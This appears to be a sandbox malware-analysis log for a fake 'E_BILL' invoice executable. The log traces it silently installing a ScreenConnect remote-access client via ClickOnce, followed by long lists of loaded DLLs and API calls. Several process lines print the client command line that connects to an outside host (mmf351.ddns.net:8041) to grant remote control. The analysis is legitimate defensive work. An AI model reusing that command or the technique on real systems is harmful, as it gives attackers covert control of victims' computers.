Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A86E3D 9_2_00007FFD34A86E3D
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A85D9C 9_2_00007FFD34A85D9C
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A80058 9_2_00007FFD34A80058
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A85F86 9_2_00007FFD34A85F86
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A802F2 9_2_00007FFD34A802F2
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A80328 9_2_00007FFD34A80328
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A802C0 9_2_00007FFD34A802C0
Uses 32bit PE files
Source: E_BILL0041272508.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: ScreenConnect.WindowsBackstageShell.exe.2.dr, PopoutPanelTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.2.dr, ProgramTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.2.dr, TaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.Windows.dll.2.dr, WindowsExtensions.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.2.dr, WindowsExtensions.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.2.dr, WindowsExtensions.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll0.2.dr, WindowsLocalUserExtensions.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: ScreenConnect.ClientService.dll.2.dr, WindowsLocalUserExtensions.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: classification engine Classification label: mal72.troj.evad.winEXE@11/68@3/2
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_009B1000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Deployment Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Command line argument: dfshim 0_2_009B1000
Source: E_BILL0041272508.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: E_BILL0041272508.exe ReversingLabs: Detection: 18%
Source: E_BILL0041272508.exe Virustotal: Detection: 13%
Source: unknown Process created: C:\Users\user\Desktop\E_BILL0041272508.exe "C:\Users\user\Desktop\E_BILL0041272508.exe"
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe" "RunRole" "83265b87-0d31-430d-be3a-51c1a25f31d5" "User"
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1" Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe" "RunRole" "83265b87-0d31-430d-be3a-51c1a25f31d5" "User" Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uiautomationcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
